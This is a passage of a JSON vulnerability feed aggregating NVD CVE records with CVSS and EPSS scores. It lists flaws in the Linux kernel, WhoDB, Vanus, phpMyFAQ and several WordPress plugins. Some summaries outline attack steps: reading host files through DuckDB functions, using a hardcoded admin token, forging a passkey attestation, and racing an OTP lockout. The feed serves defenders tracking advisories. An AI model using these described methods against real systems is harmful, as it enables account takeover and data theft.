realloc","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: conntrack: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n  -> nf_ct_helper()\n   -> helper->help()\n    -> nf_ct_expect_related_report()\n     -> nf_ct_expect_insert()\n      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure.  And\nthere are no atomicity guarantees provided by the API anyway.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nnet: openvswitch: conntrack: fix helper UAF due to extensions realloc\n\nWhile calling the helpers, a raw pointer to the extensions area is\nwired into expectations list:\n\n  -> nf_ct_helper()\n   -> helper->help()\n    -> nf_ct_expect_related_report()\n     -> nf_ct_expect_insert()\n      -> hlist_add_head_rcu(&exp->lnode, &master_help->expectations)\n\nIn case the connection is not confirmed yet, more extensions can be\nadded afterwards with *_ext_add() calls reallocating the extension\nspace and leaving the now invalid pointer in the expectations list\nthat is later accessed while removing the expectation.\n\nMake sure that helpers are called at the end after all the other\nextensions are already added.\n\nNote that the helper rejection now leaves the mark and labels set,\nbut that's not different from how the NAT was handled before or how\nthe mark and the labels were handled on confirmation failure.  And\nthere are no atomicity guarantees provided by the API anyway.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:59.903Z","updatedAt":"2026-10-24T14:16:44.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98490","asOf":"2026-10-24T14:16:44.097Z"},"epss":{"probability":0.00618,"percentile":0.493,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98490","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98490","type":"primary","publishedAt":"2026-10-18T16:16:59.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98490, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-98464","cveId":"CVE-2026-98464","aliases":[],"kind":"vulnerability","title":"Linux kernel: RISC-V: KVM: Synchronize hrtimer callback during teardown","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nRISC-V: KVM: Synchronize hrtimer callback during teardown\n\nThe non-Sstc hrtimer callback clears next_set before its final uses of\nthe enclosing vCPU.  If teardown observes next_set as false while the\ncallback is still running, kvm_riscv_vcpu_timer_cancel() skips\nhrtimer_cancel() and kvm_destroy_vcpus() can free the vCPU before the\ncallback enters kvm_riscv_vcpu_set_interrupt().\n\nA guest can arm the timer with SBI TIME and request shutdown with SBI\nlegacy shutdown or SRST.  A VMM that honors KVM_EXIT_SYSTEM_EVENT and\ndestroys the VM supplies the teardown side of the race; no post-launch\nhost ioctl is needed to arm or request teardown.\n\nOn upstream master 62cc90241548, generic KASAN reported:\n\n  BUG: KASAN: slab-use-after-free in do_raw_spin_lock\n  Write of size 4 at addr ff60000005e58898\n\n  kvm_riscv_vcpu_set_interrupt\n  kvm_riscv_vcpu_hrtimer_expired\n  __hrtimer_run_queues\n  hrtimer_interrupt\n\nThe object was allocated by KVM_CREATE_VCPU and freed concurrently by:\n\n  kvm_destroy_vcpus\n  kvm_arch_destroy_vm\n  kvm_destroy_vm\n  __fput\n\nFor deterministic validation, I added mdelay(1000) immediately after\nthe existing next_set = false assignment.  This only widens the\nexisting post-clear callback window.  A no-delay trace build naturally\nreached the callback-after-teardown-start/before-deinit ordering in 12\nof 200 runs, but 1,500 stock-kernel stress iterations did not produce a\nKASAN report, so natural reproduction is timing-sensitive.\n\nAlways invoke hrtimer_cancel() for an initialized timer.  Preserve the\nexisting -EINVAL result when the timer is no longer set, but only after\nsynchronizing with a running callback.\n\nWith this patch, hrtimer_cancel() blocked for the full widened callback\nwindow before vCPU destruction.  KASAN reported no error in 100\nfixed-and-widened runs or 200 fix-only timing-sweep runs.","detail":"In the Linux kernel, the following vulnerability has been resolved:\n\nRISC-V: KVM: Synchronize hrtimer callback during teardown\n\nThe non-Sstc hrtimer callback clears next_set before its final uses of\nthe enclosing vCPU.  If teardown observes next_set as false while the\ncallback is still running, kvm_riscv_vcpu_timer_cancel() skips\nhrtimer_cancel() and kvm_destroy_vcpus() can free the vCPU before the\ncallback enters kvm_riscv_vcpu_set_interrupt().\n\nA guest can arm the timer with SBI TIME and request shutdown with SBI\nlegacy shutdown or SRST.  A VMM that honors KVM_EXIT_SYSTEM_EVENT and\ndestroys the VM supplies the teardown side of the race; no post-launch\nhost ioctl is needed to arm or request teardown.\n\nOn upstream master 62cc90241548, generic KASAN reported:\n\n  BUG: KASAN: slab-use-after-free in do_raw_spin_lock\n  Write of size 4 at addr ff60000005e58898\n\n  kvm_riscv_vcpu_set_interrupt\n  kvm_riscv_vcpu_hrtimer_expired\n  __hrtimer_run_queues\n  hrtimer_interrupt\n\nThe object was allocated by KVM_CREATE_VCPU and freed concurrently by:\n\n  kvm_destroy_vcpus\n  kvm_arch_destroy_vm\n  kvm_destroy_vm\n  __fput\n\nFor deterministic validation, I added mdelay(1000) immediately after\nthe existing next_set = false assignment.  This only widens the\nexisting post-clear callback window.  A no-delay trace build naturally\nreached the callback-after-teardown-start/before-deinit ordering in 12\nof 200 runs, but 1,500 stock-kernel stress iterations did not produce a\nKASAN report, so natural reproduction is timing-sensitive.\n\nAlways invoke hrtimer_cancel() for an initialized timer.  Preserve the\nexisting -EINVAL result when the timer is no longer set, but only after\nsynchronizing with a running callback.\n\nWith this patch, hrtimer_cancel() blocked for the full widened callback\nwindow before vCPU destruction.  KASAN reported no error in 100\nfixed-and-widened runs or 200 fix-only timing-sweep runs.\n\nNVD status: Received. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T16:16:56.873Z","updatedAt":"2026-10-24T14:16:42.853Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Linux kernel"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-98464","asOf":"2026-10-24T14:16:42.853Z"},"epss":{"probability":0.00143,"percentile":0.03565,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-98464&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-98464","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-98464","type":"primary","publishedAt":"2026-10-18T16:16:56.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-98464&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-98464, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112005","cveId":"CVE-2026-112005","aliases":[],"kind":"vulnerability","title":"WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions...","summary":"WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions through the query editor. Attackers can log in to a DuckDB file without credentials and use read_text, read_blob, COPY ... TO or ATTACH to steal session.key and stored database credentials or overwrite files.","detail":"WhoDB 0.104.0 before 0.135.0 contains a path traversal vulnerability that allows remote attackers to read and write arbitrary host files by running DuckDB filesystem functions through the query editor. Attackers can log in to a DuckDB file without credentials and use read_text, read_blob, COPY ... TO or ATTACH to steal session.key and stored database credentials or overwrite files.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:12.790Z","updatedAt":"2026-10-22T03:16:32.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112005","asOf":"2026-10-22T03:16:32.963Z"},"epss":{"probability":0.00691,"percentile":0.52542,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112005","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112005","type":"primary","publishedAt":"2026-10-18T12:17:12.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111998","cveId":"CVE-2026-111998","aliases":[],"kind":"vulnerability","title":"Vanus 0.8.0 through 0.9.0 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain cluster-admin access by using the hardcoded admin token.","summary":"Vanus 0.8.0 through 0.9.0 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain cluster-admin access by using the hardcoded admin token. Attackers can send the fixed Bearer token to the gateway gRPC proxy port to manage namespaces, eventbuses, users, tokens, and role bindings, and read or publish events.","detail":"Vanus 0.8.0 through 0.9.0 contains a default credentials vulnerability that allows unauthenticated remote attackers to gain cluster-admin access by using the hardcoded admin token. Attackers can send the fixed Bearer token to the gateway gRPC proxy port to manage namespaces, eventbuses, users, tokens, and role bindings, and read or publish events.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T12:17:11.730Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111998","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00688,"percentile":0.52433,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111998&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111998","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111998","type":"primary","publishedAt":"2026-10-18T12:17:11.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111998&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111998, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110886","cveId":"CVE-2026-110886","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in QuantumCloud Conversational Forms for ChatBot conversational-forms allows Object Injection.This issue affects Conversational...","summary":"Deserialization of Untrusted Data vulnerability in QuantumCloud Conversational Forms for ChatBot conversational-forms allows Object Injection.This issue affects Conversational Forms for ChatBot: from n/a through 1.5.1.","detail":"Deserialization of Untrusted Data vulnerability in QuantumCloud Conversational Forms for ChatBot conversational-forms allows Object Injection.This issue affects Conversational Forms for ChatBot: from n/a through 1.5.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:37.450Z","updatedAt":"2026-10-19T16:17:02.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110886","asOf":"2026-10-19T16:17:02.990Z"},"epss":{"probability":0.00304,"percentile":0.22978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110886","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110886","type":"primary","publishedAt":"2026-10-18T11:16:37.450Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110886, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110372","cveId":"CVE-2026-110372","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through 1.1.40.","summary":"Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through 1.1.40.","detail":"Incorrect Privilege Assignment vulnerability in Brainstorm Force OttoKit suretriggers allows Privilege Escalation.This issue affects OttoKit: from n/a through 1.1.40.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:36.580Z","updatedAt":"2026-10-19T19:17:20.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110372","asOf":"2026-10-19T19:17:20.390Z"},"epss":{"probability":0.01365,"percentile":0.71606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110372&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110372","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110372","type":"primary","publishedAt":"2026-10-18T11:16:36.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110372&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110372, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109894","cveId":"CVE-2026-109894","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arraytics Booktics booktics allows SQL Injection.This issue affects Booktics:...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arraytics Booktics booktics allows SQL Injection.This issue affects Booktics: from n/a through 1.0.29.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arraytics Booktics booktics allows SQL Injection.This issue affects Booktics: from n/a through 1.0.29.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-18T11:16:36.190Z","updatedAt":"2026-10-19T16:17:02.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109894","asOf":"2026-10-19T16:17:02.763Z"},"epss":{"probability":0.00229,"percentile":0.13628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109894&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109894","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109894","type":"primary","publishedAt":"2026-10-18T11:16:36.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109894&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109894, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111911","cveId":"CVE-2026-111911","aliases":[],"kind":"vulnerability","title":"phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or...","summary":"phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or challenge validation. Attackers can stage a victim username, submit a forged fmt=none attestation to register a passkey, then log in bypassing passwords and TOTP for account takeover.","detail":"phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or challenge validation. Attackers can stage a victim username, submit a forged fmt=none attestation to register a passkey, then log in bypassing passwords and TOTP for account takeover.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T19:16:33.500Z","updatedAt":"2026-10-19T15:16:56.033Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111911","asOf":"2026-10-19T15:16:56.033Z"},"epss":{"probability":0.00533,"percentile":0.44738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111911","type":"primary","publishedAt":"2026-10-17T19:16:33.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104736","cveId":"CVE-2026-104736","aliases":[],"kind":"vulnerability","title":"The LearnPress plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.4.10 via deserialization of untrusted input from the 'checkout-email'...","summary":"The LearnPress plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.4.10 via deserialization of untrusted input from the 'checkout-email' request parameter during the checkout AJAX action. The value is passed through sanitize_text_field(), which does not strip serialized object syntax, then stored in the LearnPress session table and later fed to LP_Helper::maybe_unserialize() → unserialize() (without an allowed_classes restriction) by LP_Session_Handler::get() on subsequent requests. This makes it possible for unauthenticated attackers to inject a PHP Object.","detail":"The LearnPress plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 4.4.10 via deserialization of untrusted input from the 'checkout-email' request parameter during the checkout AJAX action. The value is passed through sanitize_text_field(), which does not strip serialized object syntax, then stored in the LearnPress session table and later fed to LP_Helper::maybe_unserialize() → unserialize() (without an allowed_classes restriction) by LP_Session_Handler::get() on subsequent requests. This makes it possible for unauthenticated attackers to inject a PHP Object.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-17T04:16:47.780Z","updatedAt":"2026-10-19T15:16:45.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104736","asOf":"2026-10-19T15:16:45.150Z"},"epss":{"probability":0.00676,"percentile":0.51961,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104736&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104736","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104736","type":"primary","publishedAt":"2026-10-17T04:16:47.780Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104736&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104736, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110653","cveId":"CVE-2026-110653","aliases":[],"kind":"vulnerability","title":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass via Race Condition in all versions up...","summary":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass via Race Condition in all versions up to, and including, 5.7.4. This is due to a non-atomic read-modify-write on the OTP verification attempts counter in the `verifyOTP` function: the counter is incremented using a stale in-memory value with no conditional `WHERE attempts < 10` guard on the `UPDATE` and no `SELECT ... FOR UPDATE` row lock, creating a TOCTOU window that allows concurrent requests to bypass the 10-attempt lockout. This makes it possible for unauthenticated attackers — who know a target customer's registered email address or phone number — to fire concurrent requests to the `auth__verify_otp` endpoint, defeat the lockout cap, brute-force the 6-digit OTP code, and authenticate as the targeted LatePoint customer, gaining full access to their account, bookings, and personal data. The nonce check present on the endpoint (`otp_verify_otp_nonce`) does not mitigate this issue, as the nonce is publicly emitted by the unauthenticated `request_otp` and `resend_otp` endpoints and is trivially obtainable by any unauthenticated attacker prior to launching the race.","detail":"The Appointment Booking Plugin – LatePoint | Calendar & Scheduling for WordPress plugin for WordPress is vulnerable to Authentication Bypass via Race Condition in all versions up to, and including, 5.7.4. This is due to a 